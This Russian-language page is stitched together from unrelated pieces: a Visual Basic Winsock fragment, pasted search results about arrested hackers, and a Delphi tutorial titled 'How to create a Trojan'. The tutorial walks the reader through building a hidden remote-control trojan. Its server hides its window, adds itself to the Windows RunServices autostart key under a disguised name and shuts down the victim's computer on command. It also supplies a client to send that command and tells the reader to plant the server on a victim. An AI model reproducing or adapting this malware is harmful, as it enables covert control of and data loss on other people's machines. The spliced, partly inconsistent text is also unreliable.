Порт прослушивается
sckConnectionPending
3
Connection pending
sckResolvingHost
4
Resolving host
sckHostResolved
5
Host resolved
sckConnecting
6
Подключение к хосту
sckConnected
7
Связь установлена
sckClosing
8
Связь закрывается.. .
sckError
9
Ошибка
Теперь нужно подключить клиента. Для этого в ws_ConnectionRequest, т. е. в запросе на соединение пишем:
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub
Здесь мы сначала прекрашаем слушать, а затем подсоединяем клиента по номеру его запроса. На этом код по соединению двух программ закончен. Далее разбираем код для ws_DataArrival. Он будет вызываться, когда будут приходить какие-нибудь данные от сервера.
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
ws.GetData Data
Select Case Data
Case "BEEP"
Beep
Case "MSG"
MsgBox "Привет! ", vbInformation
Xakep Online -> В Китае поймали хакера, укравшего $100.000Сайт журнала «Хакер» : самый авторитетный ресурс рунета, посвященный вопросам информационной безопасности. В Китае поймали хакера, укравшего $100.000.
www.xakep.ru/post/24225/default.asp - 42k - Сохранено в кэше - Похожие страницы - Записать
BugTraq.Ru: В Москве поймали хакера-вымогателяВ Москве поймали хакера-вымогателя dl // 21.11.02 11:37 То ли 18-ти, то ли 20-ти то ли 28-летний житель Митино вымогал у некой американской фирмы аж 4 .
bugtraq.ru/rsn/archive/2002/11/18.html - 22k - Сохранено в кэше - Похожие страницы - Записать
PDA.Lenta.ru: Интернет: В Москве [поймали хакера-вымогателя] В Москве поймали хакера-вымогателя. В Москве задержан 18-летний житель района "Митино" Эдуард Голицын, который вымогал четыре тысячи долларов у американской .
pda.lenta.ru/internet/2002/11/20/hacker/ - 4k - Сохранено в кэше - Похожие страницы - Записать
На бирже поймали хакераCrime-Research.Ru – сайт посвященный проблемам компьютерной преступности. Популярные ссылки. Cамые свежие новости, важнейшие события и публикации.
www.crime-research.ru/news/28.12.2006/3133/ - 9k - Сохранено в кэше - Похожие страницы - Записать
В Ужгороде поймали хакера (Украина) / ROLВ Ужгороде поймали хакера (Украина) . 22 мая 2006 г. Украина. В Ужгороде сотрудники управления Службы безопасности Украины (СБУ) в Закарпатской области .
www.rol.ru/news/misc/newssng/06/05/22_169.htm - 21k - Сохранено в кэше - Похожие страницы - Записать
В Турции поймали хакера, атаковавшего американские банки и СМИ . В Турции поймали хакера, атаковавшего американские банки и СМИ, В воскресенье турецкие спецслужбы при содействии ФБР задержали хакера, ..
www.rosinvest.com/news/122924/ - 42k - Сохранено в кэше - Похожие страницы - Записать
Кировские чекисты поймали хакера, взломавшего сервер ВолгаТелеком . Кировские чекисты поймали хакера, взломавшего сервер ВолгаТелеком. Отправил: Связист. Дата публикации: 18.4.07 10:21 (Прочитали: 201) .
sviazist.nnov.ru/modules/news/article.php?storyid=2678 - 54k - Сохранено в кэше - Похожие страницы - Записать
Как создать ТРОЯН!
Для простоты тела мы сделаем это на Delphi.
Приготовься, нам предстоит написать сразу две проги. Одна будет находиться на твоей машине (клиент), другую надо будет подбросить жертве (сервер). Работы будет много, поэтому меньше слов, и ближе к телу.
Троянский сервер:
Итак, запускай Delphi или если он у тебя уже запущен, то создавай новый проект («File» – «New Application»). Сейчас мы примемся за серверную часть трояна.
Для начала выбери пункт меню «Options» из меню «Project». Перед тобой будет окно, как на рисунке 1.
Здесь ты должен перенести «From1» из раздела «Auto-Create forms» (список слева) в «Available forms» (список справа), как это сделано у меня. Только что мы отключили From1 из списка авто инициализируемых форм. Теперь инициализацию придётся произвести вручную. Не пугайся, это очень просто.
На странице «Application» этого же диалога есть кнопка «Load Icon». Нажми её, чтобы сменить иконку будущей проги. Если икону не сменить, то будет использоваться дельфячая, а она быстро выдаст твоё смертельное оружие.
Теперь ты должен бросить на форму компонент ServerSocket из раздела «Internet», это сервак протокола (по умолчанию TCP, и нам его достаточно). Выдели созданный ServerSocket1 и перейди в ObjectInspector. Здесь тебя интересует только свойство «Port». По умолчанию оно равно 1024, но я тебе советую его поменять на любое другое (желательно больше 1000).
Теперь щёлкни в любом месте на форме, чтобы активизировать её свойства. Перейди в ObjectInspector и щёлкни по закладке Events. Дважды щёлкни по строке «OnCreate» и Delphi, как всегда, создаст процедуру, она будет выполняться при инициализации формы. Напиши там следующее:
procedure TForm1.FormCreate(Sender: TObject);
var RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create(''Software'');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey(''Software'', true);
RegIni.OpenKey(''Microsoft'', true);
RegIni.OpenKey(''Windows'', true);
RegIni.OpenKey(''CurrentVersion'', true);
RegIni.WriteString(''RunServices'', ''Internat32.exe'',
Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
end;
Теперь перейди в начало текста и напиши после «uses» слово «registry». Мы уже делали такую операцию в статье про мега плеер, но я повторю, как это будет выглядеть:
uses registry, Windows, Messages,
Теперь я объясню, что мы написали в процедуре.
«var RegIni:TRegIniFile» - здесь мы объявили переменную RegIni типа TRegIniFile. С помощью этой переменной мы будем общаться с реестром.
«RegIni:=TRegIniFile.Create(''Software'')» - инициализируем переменную указывающую на реестр.
«RegIni.RootKey:=HKEY_LOCAL_MACHINE» говорим, что нас интересует раздел HKEY_CURRENT_USER реестра.
«RegIni.OpenKey(''Software'', true)» - открываю подраздел «Software».
Дальше я последовательно открываю подразделы, пробираясь в недра окошек.
«RegIni.WriteString(''RunServices'', ''Internat32.exe'', Application.ExeName)” – записываю в раздел «RunServices» (в этом разделе хранятся проги, которые автоматически загружаются при старте), новый параметр с именем «Internat32.exe» (имя будущего файла) и значением Application.ExeName (здесь храниться полный путь к запущенному трояну).
«RegIni.Free» - уничтожаю ненужный больше объект RegIni.
Всё это делалось, чтобы при запуске проги, она сама себя прописывала в разделе автозапуска. И после перезагрузки компьютера она автоматически загружалась в память.
Самая последняя строка «ServerSocket1.Active:=true» запускает сервер на указанном тобой порте.
С загрузкой покончено. Теперь давай займёмся выгрузкой. Опять выдели форму и в закладке Events у ObjectInspector-а дважды щёлкни по строке «OnDistroy». Теперь создастся процедура, которая будет выполняться при уничтожении формы. В созданной процедуре напиши:
procedure TForm1.FormDistroy(Sender: TObject; var Action: TCloseAction);
begin
ServerSocket1.Active:=false;
end;
Этим я отключаю сервак. Если этого не сделать, то при первой же перезагрузке твоя жертва может поймать синий экран, если ты в это время будешь подключён к серверу. С одной стороны, это хорошо. Твоя жертва в очередной раз убеждается в плохой защищённости его окошек. А с другой, я не думаю, что следует выдавать себя раньше времени. Тем более, что после синего экрана перезагрузка может остановиться, а нам это не надо (забегу вперёд и скажу, что мы сами будем перегружать компьютер жертвы).
Теперь нужно выделить ServerSocket1 и перейти на закладку Events у ObjectInspector-а. Дважды щёлкни по строке «OnClientRead» и в созданной процедуре (она будет вызываться, когда что-нибудь приходит на порт) напиши:
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
if Socket.ReceiveText =''R'' then
ExitWindowsEx(EWX_SHUTDOWN,0);
end;
Теперь, как это звучит по-нашему:
Если полученный текст = букве ‘R’ то
Отправить компьютер в редаун.
ExitWindowsEx – редаун заставит окна свернуться и отключить компьютер от питания. Я вообще добрый дядька, поэтому использовал параметр EWX_SHUTDOWN. С этим параметром, перед редауном всем запущенным приложениям полетит запрос о выключении, и жертва сможет сохранить свои изменённые данные. Если ты злей меня, то используй EWX_FORCE. В этом случае, компьютер упадёт без предупреждения и со скоростью света, так что жертва не успеет от страха воздух испортит :).
Троян практически готов, сохрани его. Для этого выбери «Save All» из меню «File». С начала Delphi запросит имя формы. Оставь по умолчанию (Unit1) и нажми «Сохранить». Потом будет запрос на имя проекта, которое будет использоваться в качестве имени ЕХЕ файла. Назови его «Internat32», чтобы файл не вызывал особых подозрений.
Конюшня для коня:
Теперь ты должен хорошенечко спрятать своего будущего скакуна, чтоб его не было видно в панели задач. Для этого выбери пункт меню «Project Manager» из меню «View». Перед тобой откроется окно, как на рисунке 2.
Щёлкни правой кнопкой по Internat32.exe и в появившемся меню выбери «View Source». Перед тобой откроется маленький файл с исходным текстом проекта. Сравни то, что ты увидишь с этим текстом, и допиши то, чего не хватает, а что лишнее – убери (так не так уж и много):
uses
Forms,
Windows.
Unit1 in ''Unit1.pas''
var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_Hide);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true,false, ''et'');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.
Будь внимателен при переписывании. Всё должно быть один к одному. Теперь я расскажу, что здесь написано:
В самом начале нет ничего интересного, и нас абсолютно не касается. Нас интересует всё, что написано после слова «Var».
WhEvent:THandle – Этим я говорю, что мне нужен указатель WhEvent на пустое событие Thandle.
Application.Initialize – Инициализируется троян.
ShowWindow(Application.Handle, SW_Hide) – Устанавливаю параметры окна. Параметр SW_Hide – говорит, что окно должно быть невидимо. Единственное, как его можно после этого увидеть, так это нажать Ctrl+Alt+Del. Но здесь у нас используется не вызывающее подозрения (только у чайника, профи уже давно знают, о таком имени) имя.
Form1:=TForm1.Create(nil) – создаю форму. Мне приходится это делать так, потому что мы убрали форму из из списка авто создаваемых.
Application.Run – запускаю трояна. Здесь запускаются обработчики событий и прочая ерунда, за которую отвечает Delphi и которую пришлось бы писать вручную на С или С++. А здесь всё очень просто.
WhEvent:=CreateEvent(nil, true,false, ''et'') – инициализация пустого события.
Следующие пять строчек я напишу словами, а ты разберёшься как всегда методом сравнения:
Пока (true) выполнять
Начать цикл
Ждать пока наступит событие (пустое событие, 1000 миллисекунд)
Получить управление
Закончить цикл
Две строчки между началом и концом цикла будет выполняться бесконечно, потому что true оно всегда true, и из этого цикла выхода нет. Весь цикл заключаеться в двух особенностях:
1. Запускается ожидание несуществующего события. Так как событие не существует, то программа прождёт его ровно указанное время в качестве второго параметра (1000 миллисекунд или 1 секунда).
2. Получить управление.
После второго шага программа снова перейдёт на пункт 1 и запустит ожидание. Во время ожидания пользователь работает с другими приложениями как всегда. Когда трояну (каждую 1 секунду) передаётся управление, то наш конь проверяет: есть ли для него сообщения. В нашем случае сообщение может быть одно – приход на указанный тобой порт управляющей команды. Если сообщения есть, то троян их выполняет. И в любом случае (есть сообщения или нет), после этого пользователь снова работает 1 секунду без проблем. Проверка происходит так быстро, что жертва не ощутит нагрузки трояна даже на четверке с сотым камнем.
Нажми «Ctrl+F9» чтобы Delphi создал .ехе файл без запуска проги. Как только Delphi перемозгует весь код, можешь считать, что серверная часть готова. Если вздумаешь её тестировать, то не забудь, что после первого же запуска троян пропишется в реестре по адресу: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices. Не забудь после тестирования его удалить.
Теперь переходим к клиентской части, которую ты должен будешь запустить на своём компьютере для управления компьютером жертвы.
Троянский всадник:
Снова сохрани все изменения и создай новый проект. Пришло время писать клиентскую часть трояна. Ещё пару минут напряжённого труда и все красавицы наши :).
На новый проект ты должен бросить три компонента:
1. Button из закладки «Standart» для отправки команды на компьютер жертвы.
2. Edit из закладки «Standart» для ввода имени или адреса жертвы.
3. ClientSocket из закладки «Internet» клиент порта для связи с сервером
Посмотри на рисунок 3, у тебя должно получиться нечто похожее.
Выдели ClientSocket1 и в ObjectInspector-е измени свойство порт. По умолчанию он 0, а ты должен поставить тот, который ты назначил серверу.
Теперь дважды щёлкни по кнопке и в созданной процедуре (обработчике нажатия кнопки) напиши следующее.
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Host:=Edit1.Text;
ClientSocket1.Active:=true;
ClientSocket1.Socket.SendText(''R'');
ClientSocket1.Active:=false;
end;
ClientSocket1.Host:=Edit1.Text – В ClientSocket1 заносим имя жертвы в твоей локалке. Если собираешься использовать троян в инете, то там ты имя никак не сможешь узнать. Тебе придётся использовать IP адрес, а значит эта строчка замениться на ClientSocket1.Addres:=Edit1.Text. И вводить в Edit1 ты должен будешь IP адрес.
ClientSocket1.Active:=true – активировать соединение с сервером.
ClientSocket1.Socket.SendText(''R'') – отправить букву R. Помнишь, что у нас было пару минут назад. Если сервер получит букву R, то он перегрузит машину.
ClientSocket1.Active:=false – закрыть соединение с сервером.
Всё. Троян готов к бою. Нажми «Ctrl+F9» чтобы Delphi создал ЕХЕ файл без запуска проги. Найди жертву и протестируй своего верного коня. Для этого нужно запустить серверную часть на компьютере жертвы. Потом запустить клиентскую часть на своём компьютере. Ввести в клиент имя компьютера жертвы (или адрес, если ты скомпилировал под использование через IP) и нажать кнопку. Компьютер жертвы должен перегрузится.
Читайте также: